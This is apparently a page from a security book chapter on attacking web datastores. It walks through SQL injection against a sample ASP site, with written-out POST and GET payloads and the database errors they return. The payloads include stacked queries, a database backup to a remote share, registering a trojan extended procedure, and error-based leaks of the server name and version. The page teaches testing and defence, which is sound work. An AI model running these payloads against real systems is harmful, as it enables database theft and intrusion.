| Article Index |
|---|
| Attacking Web Datastore |
| Page 2 |
| Page 3 |
| Page 4 |
| Page 5 |
| Page 6 |
| Page 7 |
| Page 8 |
| All Pages |
We’ve picked on the SiteAdmin.asp file quite enough. Let’s change directions and
look at another file that is also susceptible to SQL injection attacks. Again, it is useful to
step through the injection process. Although a SQL technique does not vary, its method
of injection changes based on the design of the application. The next few examples are
more difficult to execute because the attacks must be performed against POST requests.
We must leave the comfort of the URL and move into tools such as Achilles.
During the course of the application survey we find a POST command in the
PageSearch.asp file. The arguments are as follows:
Send=1&hidSearchType=1&selTextField=L_Name&txtSearchValue=zombie
The parameter selTextField looks like a nice place to start. It appears to be a placeholder
for a SQL query on the L_Name (probably “last name” column) in a table. Instead
of placing a tick in the argument string, let’s go for the jugular—try to select data from a
different column.
http://www.victim.com/PageSearch.asp
POST: Send=1&hidSearchType=1&selTextField=UserID&txtSearchValue=zombie
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'UserID'.
/includes/subWriteActionTable.inc, line 51
According to our magnifying glass and deerstalker cap methodology, PageSearch.asp
is susceptible to SQL injection, there is no column called UserID in the table it calls, and we
have the name of an include file not referenced anywhere else in the application. Not bad
for a single change in one parameter.
POST: Send=1&URL=%2Fsecure%2Fdefault.asp&txtUserName=security&txtPwd=
security00';EXEC+sp_helptext'
[Microsoft][ODBC SQL Server Driver][SQL Server]The object '' does not
exist in database 'amapub'.
We could go crazy and try to back up the entire database:
Send=1&URL=%2Fsecure%2Fdefault.asp&txtUserName=security&txtPwd=
security00';backup+database+master+to+disk='\\172.16.172.116\share\bak.dat''
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC SQL Server Driver][SQL Server]BACKUP DATABASE permission
denied in database 'master'.
Fortunately, the application appears to be running with a low-privilege account. At
least security has been addressed at the host level. In an Armageddon scenario for the
administrator, we could insert a Trojan horse into the database. We need to upload a file,
then add it:
Send=1&URL=%2Fsecure%2Fdefault.asp&txtUserName=security&txtPwd=
security00';EXEC+sp_addextendedproc+'xp_trojan',+'xp_trojan.dll''
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC SQL Server Driver][SQL Server]EXECUTE permission denied
on object 'sp_addextendedproc', database 'master', owner 'dbo'.
Once more, we are foiled by a strong build policy. A better build policy for the server
would have removed many of the default stored procedures that we have been accessing.
Here are more examples that demonstrate how to manipulate an application’s
error-handling routine. In this case, the DataList.asp file is vulnerable to SQL injection.
However, a casual observer might miss this fact because theHTMLoutput displays a custom
error page, the text of which reads:
The database encountered an error. Please inform the system administrator.
However, if we actually examine the error redirect, then we notice that the parameters
to the GET request contain the raw ODBC error string. Here is a request:
https://www.victim.com/DataList.asp?Page=-1&PageName=(@@ServerName)--
and the Error.asp file to which the application directs us:
https://www.victim.com/Error.asp?log=True&ec=4&en=-
2147217900&ed=Could+not+find+stored+procedure+%27VENONASQLA12%27%2E&
es=Microsoft+OLE+DB+Provider+for+SQL+Server&pn=RL%2Einc&fn=ExecuteSP
The initial request combined three techniques: the comment (--), a default SQL procedure
(@@ServerName), and nested procedures (wrapped in parentheses). The SQL injection
worked, but its results are not where we might expect them to be. Take a close look at the
“ed” parameter in the redirected URL. If we remove the URL encoding, the correlation is
readily apparent:
ed=Could not find stored procedure 'VENONASQLA12'.
We have managed to execute a stored procedure, even though the application’s original
SQL query failed. Instead of printing our SQL injection, @@ServerName, the server
interprets it first, then tries to interpret the stored procedure to which it was a variable.
Thus, we discover that VENONASQLA12 is the server name where the SQL database
resides. Here are two more examples of exploiting the error string:
Sent - https://www.victim.com/DataList.asp?Page=-1&PageName=
(@@microsoftversion)-- Received -
https://www.victim.com/Error.asp?log=True&ec=4&en=-2147217900&
ed=Line+1%3A+Incorrect+syntax+near+%27134218262%27%2E&
es=Microsoft+OLE+DB+Provider+for+SQL+Server&pn=RL%2Einc&fn=ExecuteSP
Sent - https://www.victim.com/DataList.asp?Page=24&PageName=sp_who2+sa
Received - https://www.victim.com/Error.asp?log=True&ec=4&en=-2147217900&
ed=The+login+%27sa%5FGet%27+does+not+exist%2E&es=Microsoft+OLE+DB+Provider
+for+SQL+Server&pn=RL%2Einc&fn=ExecuteSP
